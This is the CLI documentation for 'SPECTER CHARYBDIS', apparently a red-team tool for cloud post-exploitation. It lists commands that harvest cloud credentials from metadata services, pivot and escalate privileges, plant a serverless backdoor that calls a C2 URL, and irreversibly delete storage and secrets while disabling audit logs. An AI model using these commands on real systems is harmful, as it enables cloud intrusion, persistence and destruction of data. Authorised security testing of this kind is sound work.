T130 — SPECTER CHARYBDIS — DOCS

CLI Reference

v1.0.0 — 201 tests — OPEN/INJECT/UNLEASHED/DESTROY gates — CHR-signed reports

Install

cd red-specter-specter-charybdis
pip install -e .
charybdis --help

Gate Configuration

GateEnv Variable / RequirementUnlocks
OPENNoneenumerate, report, gate-status, sessions
INJECTCHARYBDIS_INJECT_TOKEN=<any>pivot, survey, escalate, engage
UNLEASHEDCHARYBDIS_UNLEASHED_TOKEN=<any>persist
DESTROYCHARYBDIS_DESTROY_KEY + CHARYBDIS_ROE_FILE + --confirm-annihilation + exact confirm stringannihilate

DESTROY gate ROE file must contain the exact phrase: cloud annihilation authorised
Confirm string must be exactly: I UNDERSTAND THIS WILL IRREVERSIBLY DESTROY CLOUD INFRASTRUCTURE

Commands

charybdis enumerate

charybdis enumerate [--oidc-token JWT] [--json-output]

Detects cloud identity from current agent context. Tries: OIDC token → K8s SA token → env vars → AWS IMDS v2 → GCP metadata → Azure IMDS. Creates and saves a new CharybdisSession.

FlagDescription
--oidc-token TEXTOIDC JWT from compromised agent context
--json-outputOutput as JSON

charybdis pivot

charybdis pivot --session CHR-XXXXXXXXXXXX [--target-role ARN] [--target-sa SA] [--json-output]

Exchanges initial token for cloud control plane access. Requires INJECT gate.

FlagDescription
--session TEXTSession ID from enumerate (required)
--target-role TEXTAWS IAM role ARN to assume
--target-sa TEXTGCP service account to impersonate
--json-outputOutput as JSON

charybdis survey

charybdis survey --session CHR-XXXXXXXXXXXX [--json-output]

Enumerates all accessible cloud resources. Returns S3/GCS/Blob buckets, Lambda/Cloud Functions/Azure Functions, Secrets Manager/Secret Manager/Key Vaults. Requires INJECT gate.

charybdis escalate

charybdis escalate --session CHR-XXXXXXXXXXXX [--json-output]

Checks for privilege escalation vectors: AWS iam:PassRole + Lambda abuse, GCP Vertex AI service agent hijack (CVSS 9.0), Azure Agent ID Administrator (CVSS 8.8). Requires INJECT gate.

charybdis persist

charybdis persist --session CHR-XXXXXXXXXXXX --c2 URL [--json-output]

Installs cloud-native backdoor into serverless function. Injects C2_URL and _CHARYBDIS_PERSIST=1 into function environment. Survives restart. Requires UNLEASHED gate.

FlagDescription
--c2 URLC2 callback URL to inject (required)

charybdis annihilate

charybdis annihilate --session CHR-XXXXXXXXXXXX \
  --confirm-annihilation \
  --confirm-string "I UNDERSTAND THIS WILL IRREVERSIBLY DESTROY CLOUD INFRASTRUCTURE" \
  [--timeout SECONDS] [--json-output]

Irreversible cloud infrastructure destruction. AWS: S3 object deletion + CloudTrail stop. GCP: GCS object deletion + audit log disable. Azure: container deletion + Key Vault secret purge. Requires DESTROY gate.

This operation is IRREVERSIBLE. All S3/GCS/Blob objects, Key Vault secrets, and CloudTrail logs will be permanently deleted. For authorised red team operations only.

charybdis engage

charybdis engage [--oidc-token JWT] [--unleashed] [--c2 URL] [--json-output]

Full pipeline: ENUMERATE → PIVOT → SURVEY → ESCALATE → [PERSIST if --unleashed]. Returns blast radius and kill chain narrative. Requires INJECT gate minimum.

charybdis report

charybdis report --session CHR-XXXXXXXXXXXX [--dot] [--save] [--json-output]

Generates CHR-{hex12} Ed25519-signed JSON report with lateral movement graph. OPEN gate.

FlagDescription
--dotOutput GraphViz DOT graph to stdout
--saveSave signed JSON report to ~/.charybdis/reports/

charybdis sessions

charybdis sessions list [--json-output]
charybdis sessions show --session CHR-XXXXXXXXXXXX [--json-output]

List all sessions or show full session detail. OPEN gate.

charybdis gate-status

charybdis gate-status

Shows current gate tier and which subsystems are unlocked. OPEN gate.

Report Format

{
  "report_id": "CHR-A3F2B891C047",
  "tool": "T130",
  "tool_name": "SPECTER CHARYBDIS",
  "version": "1.0.0",
  "layer": "L28",
  "session_id": "CHR-A3F2B891C047",
  "cloud_provider": "aws",
  "entry_point": "imds",
  "identity_name": "my-ec2-role",
  "pivot_success": true,
  "pivot_method": "direct_credentials",
  "blast_radius": 12,
  "admin_access": false,
  "escalation_vectors": [...],
  "resources_discovered": {
    "s3_buckets": [...],
    "lambda_functions": [...],
    "secrets_manager": [...]
  },
  "kill_chain": "IMDS v2 → STS GetCallerIdentity → iam:PassRole detected → ...",
  "movement_graph_dot": "digraph charybdis { ... }",
  "wmd_classes": [...],
  "mitre_attack": ["T1098", "T1526", "T1530", ...],
  "findings": [...],
  "remediation": [...],
  "signature": "...",
  "verify_key": "..."
}

Environment Variables

VariablePurpose
CHARYBDIS_INJECT_TOKENActivates INJECT gate (any value)
CHARYBDIS_UNLEASHED_TOKENActivates UNLEASHED gate (any value)
CHARYBDIS_DESTROY_KEYPath to Ed25519 private key file for DESTROY gate
CHARYBDIS_ROE_FILEPath to ROE file (must contain "cloud annihilation authorised")
AWS_ACCESS_KEY_IDAWS access key (also detected by ENUMERATE)
AWS_SECRET_ACCESS_KEYAWS secret key
AWS_SESSION_TOKENAWS session token
GOOGLE_APPLICATION_CREDENTIALSPath to GCP service account JSON (detected by ENUMERATE)
AZURE_CLIENT_IDAzure client ID (detected by ENUMERATE)
AZURE_CLIENT_SECRETAzure client secret
AZURE_TENANT_IDAzure tenant ID